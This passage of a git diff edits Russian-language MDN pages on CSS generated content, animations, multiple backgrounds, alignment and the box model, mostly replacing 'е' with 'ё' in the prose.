                  Эти значения заменяются соответствующей строкой из свойства {{cssxref("quotes")}}.
                  no-open-quote | no-close-quote
                  @@ -123,7 +123,7 @@ q::after { } h1::before { - content: "Chapter "; /* Пробел в конце создает разделение + content: "Chapter "; /* Пробел в конце создаёт разделение между добавленным контентом и остальным контентом*/ } @@ -169,7 +169,7 @@ h1::before {

                  CSS

                  .new-entry::after {
-  content: " New!";  /* Начальный пробел создает разделение
+  content: " New!";  /* Начальный пробел создаёт разделение
                         между добавленным контентом
                         и остальным контентом */
   color: red;
@@ -245,7 +245,7 @@ li {
 
 
                  Проблемы доступности
                  
 
-
                  Сгенерированный CSS контент не включен в DOM. Из-за этого он не будет представлен в  accessibility tree и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить ее в основной документ.
                  
+
                  Сгенерированный CSS контент не включён в DOM. Из-за этого он не будет представлен в  accessibility tree и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить её в основной документ.
                  
 
 
                    
  
                  • Accessibility support for CSS generated content – Tink
                    • 
diff --git a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html
index 785f85c87c..51b1c40887 100644
--- a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html
+++ b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support
 ---
 
                    {{CSSRef}}
                    
 
-
                    CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придется решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.
                    
+
                    CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придётся решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.
                    
 
 
                    Тестирование поддержки анимации CSS
                    
 
@@ -33,7 +33,7 @@ if( animation === false ) {
 }
                  -

                  Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для animationstring - animation , которая является свойством, которое мы хотим установить позже. Мы создаем массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.

                  +

                  Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для animationstring - animation , которая является свойством, которое мы хотим установить позже. Мы создаём массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.

                  Затем мы проверяем, установлено ли свойство CSS {{cssxref("animation-name")}} в коллекции стилей для элемента, заданного переменной elem. Это означает, что браузер поддерживает CSS-анимацию без какого-либо префикса, чего на сегодняшний день никто из них не делает..

                  @@ -80,7 +80,7 @@ if( animation === false ) {

                  Следующая задача-фактически добавить ключевые кадры в CSS страницы. Первое, что нужно сделать, это посмотреть, есть ли уже таблица стилей в документе; если да, то мы просто вставляем описание ключевого кадра в эту таблицу стилей; это делается в строках 13-15.

                  -

                  Если таблицы стилей еще нет, то создается новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.

                  +

                  Если таблицы стилей ещё нет, то создаётся новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.

                  View on JSFiddle

                  diff --git a/files/ru/web/css/css_animations/tips/index.html b/files/ru/web/css/css_animations/tips/index.html index 495c3a3063..15929f6220 100644 --- a/files/ru/web/css/css_animations/tips/index.html +++ b/files/ru/web/css/css_animations/tips/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Animations/Tips

                  Спецификация CSS Animations не предлагает способа запустить анимацию снова. Нет никакого волшебного метода resetAnimation () для элементов, и вы даже не можете просто установить элемент {{cssxref ("animation-play-state")}} в" running " снова. Вместо этого вы должны использовать хитрые трюки, чтобы запустить остановленную анимацию для воспроизведения.

                  -

                  Предлагаем вам один из способов, который мы считаем достаточно надежным и стабильным.

                  +

                  Предлагаем вам один из способов, который мы считаем достаточно надёжным и стабильным.

                  HTML содержимое

                  @@ -80,8 +80,8 @@ translation_of: Web/CSS/CSS_Animations/Tips
                  1. Список классов CSS в элементе сбрасывается до простого "box". Это приводит к удалению всех других классов, которые в настоящее время применяются к элементу, включая класс "changing" , который обрабатывает анимацию. Другими словами, мы удаляем анимационный эффект из элемента. Однако изменения в списке классов не вступают в силу до тех пор, пока не будет завершен перерасчет стиля и не произойдет обновление, отражающее это изменение.
                    2. -
                  2. Чтобы убедиться, что стили пересчитаны, мы используем  {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчет стиля еще не произошел! 
                    3. -
                  3. Наш колбэк ловко вызывает requestAnimationFrame() второй раз! На этот раз колбэк выполняется до следующей перерисовки, то есть после того, как произошла перерасчет стиля. Этот колбэк добавляет класс "changing" обратно в элемент, так что перерисовка снова запустит анимацию.
                    4. +
                  4. Чтобы убедиться, что стили пересчитаны, мы используем  {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчёт стиля ещё не произошёл! 
                    5. +
                  5. Наш колбэк ловко вызывает requestAnimationFrame() второй раз! На этот раз колбэк выполняется до следующей перерисовки, то есть после того, как произошла перерасчёт стиля. Этот колбэк добавляет класс "changing" обратно в элемент, так что перерисовка снова запустит анимацию.

                  Конечно, нам также нужно добавить обработчик событий к нашей кнопке "выполнить", чтобы она действительно что-то делала:

                  @@ -94,7 +94,7 @@ translation_of: Web/CSS/CSS_Animations/Tips

                  Остановка анимации

                  -

                  Простое удаление {{cssxref("animation-name")}} примененного к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:

                  +

                  Простое удаление {{cssxref("animation-name")}} применённого к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:

                  1. Сделайте свою анимацию настолько самодостаточной, насколько это возможно. Это означает, что вы не должны полагаться на animation-direction: alternate. Вместо этого вы должны явно написать анимацию ключевого кадра, которая проходит через полную анимацию в одном прямом повторении.
                    2. diff --git a/files/ru/web/css/css_animations/using_css_animations/index.html b/files/ru/web/css/css_animations/using_css_animations/index.html index 2f25d7922e..14ccbe0a77 100644 --- a/files/ru/web/css/css_animations/using_css_animations/index.html +++ b/files/ru/web/css/css_animations/using_css_animations/index.html @@ -41,7 +41,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy
                    {{ cssxref("animation-iteration-count") }}
                    Определяет количество повторений анимации; Вы можете использовать значение infinite для бесконечного повторения анимации.
                    {{ cssxref("animation-direction") }}
                    -
                    Дает возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.
                    +
                    Даёт возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.
                    {{ cssxref("animation-fill-mode") }}
                    Настраивает значения, используемые анимацией, до и после исполнения.
                    {{ cssxref("animation-play-state") }}
                    @@ -52,13 +52,13 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy

                    После того, как вы настроили временные свойства (продолжительность, ускорение) анимации, вы должны определить внешний вид анимации. Это делается с помощью двух и более ключевых кадров после {{ cssxref("@keyframes") }}. Каждый кадр описывает, как должен выглядеть анимированный элемент в текущий момент.

                    -

                    В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% ее конец. Так как эти значения очень важны, то для них придумали специальные слова: from и to.

                    +

                    В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% её конец. Так как эти значения очень важны, то для них придумали специальные слова: from и to.

                    Вы также можете добавить ключевые кадры, характеризующие промежуточное состояние анимации.

                    Примеры

                    -
                    Внимание: Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своем браузере, также содержат префиксы -webkit-.
                    +
                    Внимание: Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своём браузере, также содержат префиксы -webkit-.

                    Скольжение текста

                    @@ -88,7 +88,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy

                    В элемент {{ HTMLElement("p") }} можно добавлять и другие пользовательские стили, чтобы как-то украсить его, однако здесь мы хотели продемонстрировать только эффект анимации.

                    -

                    Ключевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (from). Здесь мы придаем элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .

                    +

                    Ключевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (from). Здесь мы придаём элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .

                    Второй ключевой кадр (to) определяет конец анимации, т.е (100%). Левый отступ устанавливается равным 0, а ширина 100%. Все выглядит так, будто заголовок {{ HTMLElement("p") }} приплывает к левому краю окна браузера.

                    @@ -97,7 +97,7 @@ at last the Caterpillar took the hookah out of its mouth, and addressed her in a languid, sleepy voice.</p> -

                    (Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)

                    +

                    (Обновите страницу, чтобы увидеть анимацию, или щёлкните по кнопке CodePen, чтобы воспроизвести её в окне CodePen)

                    {{EmbedLiveSample("Скольжение_текста","100%","250")}}

                    @@ -143,7 +143,7 @@ her in a languid, sleepy voice.</p>

                    Это говорит браузеру о том, что при 75% выполнения анимации, шрифт должен быть 300%, а ширина 150%.

                    -

                    (Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)

                    +

                    (Обновите страницу, чтобы увидеть анимацию, или щёлкните по кнопке CodePen, чтобы воспроизвести её в окне CodePen)

                    {{ EmbedLiveSample('Добавление_других_ключевых_кадров', '100%', '250', '', 'Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy') }}

                    @@ -233,9 +233,9 @@ her in a languid, sleepy voice.</p>

                    Установка нескольких значений свойствам анимации  

                    -

                    CSS свойство анимации может иметь несколько значений, разделенных запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.

                    +

                    CSS свойство анимации может иметь несколько значений, разделённых запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.

                    -

                    В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений  — по одному. В этом случае у всех трех анимаций одинаковая продолжительность и число повторений:

                    +

                    В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений  — по одному. В этом случае у всех трёх анимаций одинаковая продолжительность и число повторений:

                    animation-name: fadeInOut, moveLeft300px, bounce;
 animation-duration: 3s;
@@ -261,7 +261,7 @@ animation-iteration-count: 2, 1;

                    Добавление CSS

                    -

                    Начнем с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение animation-direction установлено alternate. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.

                    +

                    Начнём с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение animation-direction установлено alternate. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.

                    .slidein {
   -moz-animation-duration: 3s;
@@ -316,7 +316,7 @@ animation-iteration-count: 2, 1;

                    Добавление обработчика события анимации

                    -

                    Будем использовать JavaScript для отслеживания всех трех возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.

                    +

                    Будем использовать JavaScript для отслеживания всех трёх возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.

                    var e = document.getElementById("watchme");
 e.addEventListener("animationstart", listener, false);
@@ -366,7 +366,7 @@ e.className = "slidein";
 
 
                    HTML
                    
 
-
                    Ради полноты картины приведем код разметки HTML. В разметке имеется тег ul, в который и выводится вся информация:
                    
+
                    Ради полноты картины приведём код разметки HTML. В разметке имеется тег ul, в который и выводится вся информация:
                    
 
 
                    <body>
   <h1 id="watchme">Watch me move</h1>
diff --git a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
index dc2ba0d32f..a17cf60839 100644
--- a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
+++ b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
@@ -18,7 +18,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/Множественные_ф
 }
 
                    
 
-
                    Вы можете сделать это сокращенным {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.
                    
+
                    Вы можете сделать это сокращённым {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.
                    
 
 
                    Пример
                    
 
@@ -45,7 +45,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/Множественные_ф
 
 
                    {{EmbedLiveSample('Example','100%','400')}}
                    
 
-
                    Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идет градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.
                    
+
                    Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идёт градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.
                    
 
 
                    Смотрите также
                    
 
diff --git a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html
index 3cd0e684d6..1969398293 100644
--- a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html
+++ b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html
@@ -20,7 +20,7 @@ original_slug: >-
 
 
                    cursor:  [<url>,]* ключевое_слово
                    
 
-
                    Это означает, что устанавливать можно любое количество URL-адресов (отделенных запятой), которые должны сопровождаться одним из ключевых слов, определенными спецификацией CSS, таких как auto или pointer.
                    
+
                    Это означает, что устанавливать можно любое количество URL-адресов (отделённых запятой), которые должны сопровождаться одним из ключевых слов, определёнными спецификацией CSS, таких как auto или pointer.
                    
 
 
                    Например, такая последовательность значений допустима:
                    
 
diff --git a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html
index 3fe63cc24c..b59b71c446 100644
--- a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html
+++ b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html
@@ -9,7 +9,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
 ---
 
                    {{CSSRef}}
                    
 
-
                    Спецификация Выравнивание Блоков подробно описывает, как выравнивание работает при использовании различных способов разметки. На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox. Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, ее следует читать вместе с основной страницей выравнивания блоков, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.
                    
+
                    Спецификация Выравнивание Блоков подробно описывает, как выравнивание работает при использовании различных способов разметки. На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox. Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, её следует читать вместе с основной страницей выравнивания блоков, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.
                    
 
 
                    Основной пример
                    
 
@@ -25,7 +25,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
 
 
                      
  
                    • Главная ось = направление согласно атрибуту flex-direction = выравнивание через атрибут justify-content
                      • 
- 
                    • Поперечная ось = проходит поперек главной оси = выравнивание через атрибут align-content, align-self/align-items
                      • 
+ 
                    • Поперечная ось = проходит поперёк главной оси = выравнивание через атрибут align-content, align-self/align-items
                      • 
 
                    
 
 
                    Выравнивание по Главной Оси
                    
@@ -48,13 +48,13 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
 
 
                    Это означает, что атрибут justify-self нет имеет смысла использовать в разметке flexbox, поскольку мы всегда имеем дело с перемещением всей группы элементов.
                    
 
-
                    Использовать атрибут align-self имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещен и в начало, и в конец.
                    
+
                    Использовать атрибут align-self имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещён и в начало, и в конец.
                    
 
 
                    Выравнивание и свойство margin: auto
                    
 
-
                    В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут justify-self. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации. В таком случае, можно использовать атрибут margin со значением auto. Атрибут с таким значением будет занимать все доступное пространство в своем измерении. Так работает центрирование блока со свойством margin:auto. Установив значение атрибутов margin-left и margin-right в значение auto, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.
                    
+
                    В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут justify-self. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации. В таком случае, можно использовать атрибут margin со значением auto. Атрибут с таким значением будет занимать все доступное пространство в своём измерении. Так работает центрирование блока со свойством margin:auto. Установив значение атрибутов margin-left и margin-right в значение auto, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.
                    
 
-
                    Установив значение атрибута{{cssxref ("margin")}} в auto для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделенную навигацию. Это хорошо работает с разметкой flexbox и свойствами выравнивания. Как только для элемента со свойством margin: auto не остается свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объеме, пытаясь уместиться в доступное пространство.
                    
+
                    Установив значение атрибута{{cssxref ("margin")}} в auto для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделённую навигацию. Это хорошо работает с разметкой flexbox и свойствами выравнивания. Как только для элемента со свойством margin: auto не остаётся свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объёме, пытаясь уместиться в доступное пространство.
                    
 
 
                    {{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}
                    
 
@@ -70,7 +70,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
 
 
                    На главной оси атрибут column-gap будет создавать разрывы фиксированного размера между соседними элементами.
                    
  
                    
- На поперечной оси атрибут row-gap создает разрыв между соседними flex линиями, поэтому необходимо также установить атрибут flex-wrap в значение wrap, чтобы применить эффект.
                    
+ На поперечной оси атрибут row-gap создаёт разрыв между соседними flex линиями, поэтому необходимо также установить атрибут flex-wrap в значение wrap, чтобы применить эффект.
                    
 
 
                    
 
                    Примечание. Начиная с версии 63, Firefox является единственным браузером, в котором реализованы свойства разрыва в разметке Flexbox.
                    
diff --git a/files/ru/web/css/css_box_alignment/index.html b/files/ru/web/css/css_box_alignment/index.html
index af449e8cff..e094c861ea 100644
--- a/files/ru/web/css/css_box_alignment/index.html
+++ b/files/ru/web/css/css_box_alignment/index.html
@@ -23,7 +23,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
 
 
                    Пример выравнивания раскладки сетки CSS
                    
 
-
                    В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путем установки {{cssxref("align-self")}} в центр.
                    
+
                    В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путём установки {{cssxref("align-self")}} в центр.
                    
 
 
                    {{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}
                    
 
@@ -73,7 +73,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
 
 
                    Контейнер выравнивания - это поле, в котором объект выравнивается внутри. Обычно это будет блок, содержащий объект выравнивания. Контейнер выравнивания может содержать один или несколько объектов выравнивания.
                    
 
-
                    На приведенном ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.
                    
+
                    На приведённом ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.
                    
 
 
                    
 
@@ -88,7 +88,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
 
                      
  
                    • Positional alignment (выравнивание положения): указание положения объекта выравнивания относительно его контейнера выравнивания.
                      • 
  
                    • Baseline alignment (исходное выравнивание): эти ключевые слова определяют выравнивание как взаимосвязь между базовыми линиями нескольких объектов выравнивания в контексте выравнивания.
                      • 
- 
                    • Distributed alignment (распределенное выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.
                      • 
+ 
                    • Distributed alignment (распределённое выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.
                      • 
 
                    
 
 
                    Значения ключевых слов позиционирования
                    
@@ -109,7 +109,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
 
 
                    Помимо физических значений left и right, которые относятся к физическим атрибутам экрана, все остальные значения являются логическими значениями и относятся к режиму записи содержимого.
                    
 
-
                    Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение justify-content start, это приведет к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение start приведет к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.
                    
+
                    Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение justify-content start, это приведёт к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение start приведёт к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.
                    
 
 
                    Оба этих примера имеют justify-content: start, однако местоположение начала изменяется в соответствии с режимом записи.
                    
 
@@ -127,11 +127,11 @@ translation_of: Web/CSS/CSS_Box_Alignment
 
 
                    Исходное выравнивание содержимого - указание значения выравнивания базовой линии для justify-content или align-content - работает в методах макета, которые содержат элементы в строках. Объекты выравнивания выравниваются по базовой линии друг к другу, добавляя в них поля.
                    
 
-
                    Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путем добавления поля за пределами полей. Self alignment - это использование justify-self или align-self или при настройке этих значений в виде группы с justify-items и align-items.
                    
+
                    Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путём добавления поля за пределами полей. Self alignment - это использование justify-self или align-self или при настройке этих значений в виде группы с justify-items и align-items.
                    
 
 
                    Distributed alignment
                    
 
-
                    Ключевые слова распределенного выравнивания используются с параметрами align-content и justify-content. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:
                    
+
                    Ключевые слова распределённого выравнивания используются с параметрами align-content и justify-content. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:
                    
 
 
                      
  
                    • stretch
                      • 
@@ -154,7 +154,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
 
 
                      safe и unsafe ключевые слова помогают определить поведение, когда объект выравнивания больше, чем контейнер выравнивания. Ключевое слово safe будет выравниваться для start в случае заданного выравнивания, вызывающего переполнение, целью которого является избежать «потери данных», когда часть элемента находится за пределами границ контейнера выравнивания и не может быть прокручена до.
                      
 
-
                      Если вы укажете unsafe, выравнивание будет выполнено, даже если это приведет к такой потере данных.
                      
+
                      Если вы укажете unsafe, выравнивание будет выполнено, даже если это приведёт к такой потере данных.
                      
 
 
                      Пробелы между boxes
                      
 
@@ -168,7 +168,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
  
                    • {{cssxref("gap")}}
                      • 
 
                    
 
-
                    В приведенном ниже примере макет сетки использует сокращенную gap, чтобы установить разрыв 10px между дорожками строк и 2em разрыв между дорожками столбцов.
                    
+
                    В приведённом ниже примере макет сетки использует сокращённую gap, чтобы установить разрыв 10px между дорожками строк и 2em разрыв между дорожками столбцов.
                    
 
 
                    {{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-gap.html", '100%', 500)}}
                    
 
diff --git a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html
index 1ad4642062..cb2b41fbb1 100644
--- a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html
+++ b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html
@@ -16,19 +16,19 @@ original_slug: Web/CSS/box_model
 
 
                    CSS Box model
                    
 
-
                    Внутренняя область элемента (content area) содержит текст и другие элементы, расположенные внутри (контент или содержимое). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри content edge; её размеры называются ширина контента (content width или content-box width), и высота контента (content height или content-box height). Иногда еще говорят «внутренняя ширина/высота элемента»
                    
+
                    Внутренняя область элемента (content area) содержит текст и другие элементы, расположенные внутри (контент или содержимое). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри content edge; её размеры называются ширина контента (content width или content-box width), и высота контента (content height или content-box height). Иногда ещё говорят «внутренняя ширина/высота элемента»
                    
 
-
                    По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задается свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство  {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.
                    
+
                    По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задаётся свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство  {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.
                    
 
 
                    Поля элемента (padding area) — это пустая область, окружающая контент. Она может быть залита каким-то цветом, покрыта фоновый картинкой, а её границы называются края полей (padding edge).
                    
 
 
                    Размеры полей задаются по отдельности с разных сторон свойствами {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} или общим свойством {{ cssxref("padding") }}.
                    
 
-
                    Область рамки (border area) окружает поля элемента, а ее граница называется края рамки (border edge). Ширина рамки задается отдельным свойством  {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учетом полей и рамки иногда называют внешней шириной/высотой элемента.
